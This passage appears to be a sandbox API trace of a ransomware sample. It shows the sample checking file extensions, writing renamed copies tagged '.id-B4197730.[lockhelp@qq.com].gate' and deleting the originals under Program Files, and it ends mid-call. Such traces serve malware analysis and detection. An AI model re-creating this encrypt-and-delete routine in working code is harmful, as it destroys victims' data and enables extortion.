[0282.936] lstrlenW (lpString=".1cd") returned 4 [0282.936] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.936] lstrlenW (lpString=".jpg") returned 4 [0282.936] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.936] lstrlenW (lpString=".doc") returned 4 [0282.936] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.936] lstrlenW (lpString=".docx") returned 5 [0282.936] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.936] lstrlenW (lpString=".pdf") returned 4 [0282.936] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.936] lstrlenW (lpString=".xls") returned 4 [0282.936] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.936] lstrlenW (lpString=".xlsx") returned 5 [0282.937] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.937] lstrlenW (lpString=".ppt") returned 4 [0282.937] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.937] lstrlenW (lpString=".zip") returned 4 [0282.937] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.937] lstrlenW (lpString=".rar") returned 4 [0282.937] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.937] lstrlenW (lpString=".bz2") returned 4 [0282.937] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.937] lstrlenW (lpString=".7z") returned 3 [0282.937] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.937] lstrlenW (lpString=".dbf") returned 4 [0282.937] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0282.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.937] lstrlenW (lpString=".1cd") returned 4 [0282.937] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0282.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui") returned 72 [0282.937] lstrlenW (lpString=".jpg") returned 4 [0282.937] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0282.937] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0282.937] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0282.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.938] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=9728) returned 1 [0282.938] CloseHandle (hObject=0x4b4) returned 1 [0282.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0282.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui") returned 77 [0282.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui") returned 77 [0282.938] lstrlenW (lpString=".doc") returned 4 [0282.938] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0282.938] lstrlenW (lpString=".docx") returned 5 [0282.938] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0282.938] lstrlenW (lpString=".pdf") returned 4 [0282.938] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0282.938] lstrlenW (lpString=".xls") returned 4 [0282.938] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0282.938] lstrlenW (lpString=".xlsx") returned 5 [0282.938] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0282.938] lstrlenW (lpString=".ppt") returned 4 [0282.938] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0282.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui") returned 77 [0282.938] lstrlenW (lpString=".zip") returned 4 [0282.938] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0282.938] lstrlenW (lpString=".rar") returned 4 [0282.938] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0282.938] lstrlenW (lpString=".bz2") returned 4 [0282.938] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.939] lstrlenW (lpString=".7z") returned 3 [0282.939] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui") returned 77 [0282.939] lstrlenW (lpString=".dbf") returned 4 [0282.939] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.450] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.450] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.451] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0291.677] GetLastError () returned 0x0 [0291.677] ReadFile (in: hFile=0x4ec, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x27a, lpOverlapped=0x0) returned 1 [0291.678] WriteFile (in: hFile=0x4f0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x280, lpOverlapped=0x0) returned 1 [0291.679] ReadFile (in: hFile=0x4ec, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0291.679] WriteFile (in: hFile=0x4f0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0291.680] SetEndOfFile (hFile=0x4f0) returned 1 [0291.680] CloseHandle (hObject=0x4f0) returned 1 [0291.681] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.681] SetEndOfFile (hFile=0x4ec) returned 1 [0291.684] CloseHandle (hObject=0x4ec) returned 1 [0291.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0291.684] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0291.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.685] lstrlenW (lpString=".doc") returned 4 [0291.685] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0291.685] lstrlenW (lpString=".docx") returned 5 [0291.685] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0291.685] lstrlenW (lpString=".pdf") returned 4 [0291.685] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0291.685] lstrlenW (lpString=".xls") returned 4 [0291.685] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0291.685] lstrlenW (lpString=".xlsx") returned 5 [0291.685] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0291.685] lstrlenW (lpString=".ppt") returned 4 [0291.685] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0291.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.685] lstrlenW (lpString=".zip") returned 4 [0291.685] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0291.685] lstrlenW (lpString=".rar") returned 4 [0291.685] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0291.685] lstrlenW (lpString=".bz2") returned 4 [0291.687] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0291.687] lstrlenW (lpString=".7z") returned 3 [0291.687] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0291.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.687] lstrlenW (lpString=".dbf") returned 4 [0291.687] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0291.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.687] lstrlenW (lpString=".1cd") returned 4 [0291.687] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0291.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.687] lstrlenW (lpString=".jpg") returned 4 [0291.687] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0291.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.687] lstrlenW (lpString=".doc") returned 4 [0291.687] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0291.687] lstrlenW (lpString=".docx") returned 5 [0291.687] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0291.688] lstrlenW (lpString=".pdf") returned 4 [0291.688] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0291.688] lstrlenW (lpString=".xls") returned 4 [0291.688] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0291.688] lstrlenW (lpString=".xlsx") returned 5 [0291.688] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0291.688] lstrlenW (lpString=".ppt") returned 4 [0291.688] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0291.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.688] lstrlenW (lpString=".zip") returned 4 [0291.688] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0291.688] lstrlenW (lpString=".rar") returned 4 [0291.688] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0291.688] lstrlenW (lpString=".bz2") returned 4 [0291.688] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0291.688] lstrlenW (lpString=".7z") returned 3 [0291.688] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0291.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.688] lstrlenW (lpString=".dbf") returned 4 [0291.688] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0291.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.688] lstrlenW (lpString=".1cd") returned 4 [0291.688] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0291.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0291.688] lstrlenW (lpString=".jpg") returned 4 [0291.688] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0291.689] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0291.689] lstrlenW (lpString="calendars.properties") returned 20 [0291.689] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0291.689] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1378) returned 1 [0291.689] CloseHandle (hObject=0x4c4) returned 1 [0291.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0291.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.690] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0291.690] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.690] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.690] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0291.690] GetLastError () returned 0x0 [0291.690] ReadFile (in: hFile=0x4c4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x562, lpOverlapped=0x0) returned 1 [0291.794] WriteFile (in: hFile=0x4b0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x570, lpOverlapped=0x0) returned 1 [0291.795] ReadFile (in: hFile=0x4c4, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0291.795] WriteFile (in: hFile=0x4b0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xfc, lpOverlapped=0x0) returned 1 [0291.795] SetEndOfFile (hFile=0x4b0) returned 1 [0291.890] CloseHandle (hObject=0x4b0) returned 1 [0291.891] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0291.891] SetEndOfFile (hFile=0x4c4) returned 1 [0291.929] CloseHandle (hObject=0x4c4) returned 1 [0291.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0291.936] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0291.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.994] lstrlenW (lpString=".doc") returned 4 [0291.994] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0291.994] lstrlenW (lpString=".docx") returned 5 [0291.994] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0291.994] lstrlenW (lpString=".pdf") returned 4 [0291.994] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0291.994] lstrlenW (lpString=".xls") returned 4 [0291.994] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0291.994] lstrlenW (lpString=".xlsx") returned 5 [0291.994] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0291.994] lstrlenW (lpString=".ppt") returned 4 [0291.994] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0291.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.994] lstrlenW (lpString=".zip") returned 4 [0291.994] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0291.994] lstrlenW (lpString=".rar") returned 4 [0291.994] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0291.994] lstrlenW (lpString=".bz2") returned 4 [0291.994] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0291.994] lstrlenW (lpString=".7z") returned 3 [0291.994] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0291.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.995] lstrlenW (lpString=".dbf") returned 4 [0291.995] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0291.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.996] lstrlenW (lpString=".1cd") returned 4 [0291.996] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0291.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.996] lstrlenW (lpString=".jpg") returned 4 [0291.996] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0291.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.997] lstrlenW (lpString=".doc") returned 4 [0291.997] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0291.997] lstrlenW (lpString=".docx") returned 5 [0291.997] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0291.997] lstrlenW (lpString=".pdf") returned 4 [0291.997] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0291.997] lstrlenW (lpString=".xls") returned 4 [0291.997] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0291.997] lstrlenW (lpString=".xlsx") returned 5 [0291.997] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0291.997] lstrlenW (lpString=".ppt") returned 4 [0291.997] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0291.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.997] lstrlenW (lpString=".zip") returned 4 [0291.997] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0291.997] lstrlenW (lpString=".rar") returned 4 [0291.997] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0291.997] lstrlenW (lpString=".bz2") returned 4 [0291.997] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0291.997] lstrlenW (lpString=".7z") returned 3 [0291.997] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0291.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.997] lstrlenW (lpString=".dbf") returned 4 [0291.997] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0291.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.997] lstrlenW (lpString=".1cd") returned 4 [0291.998] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0291.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0291.998] lstrlenW (lpString=".jpg") returned 4 [0291.998] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0291.998] lstrcmpiW (lpString1=".pf", lpString2=".gate") returned 1 [0291.998] lstrlenW (lpString="CIEXYZ.pf") returned 9 [0291.998] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0291.999] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=51236) returned 1 [0291.999] CloseHandle (hObject=0x4b8) returned 1 [0291.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20 [0291.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.999] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0291.999] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.000] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.000] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0292.548] GetLastError () returned 0x0 [0292.548] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xc824, lpOverlapped=0x0) returned 1 [0292.652] WriteFile (in: hFile=0x510, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xc830, lpOverlapped=0x0) returned 1 [0292.654] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0292.654] WriteFile (in: hFile=0x510, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0292.654] SetEndOfFile (hFile=0x510) returned 1 [0292.654] CloseHandle (hObject=0x510) returned 1 [0292.656] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0292.656] SetEndOfFile (hFile=0x4b8) returned 1 [0292.660] CloseHandle (hObject=0x4b8) returned 1 [0292.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0292.667] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0292.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.678] lstrlenW (lpString=".doc") returned 4 [0292.678] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0292.678] lstrlenW (lpString=".docx") returned 5 [0292.678] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0292.678] lstrlenW (lpString=".pdf") returned 4 [0292.678] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0292.678] lstrlenW (lpString=".xls") returned 4 [0292.678] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0292.678] lstrlenW (lpString=".xlsx") returned 5 [0292.678] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0292.678] lstrlenW (lpString=".ppt") returned 4 [0292.678] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0292.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0292.678] lstrlenW (lpString=".zip") returned 4 [0292.678] lstrcmpiW (lpString1=".zip", 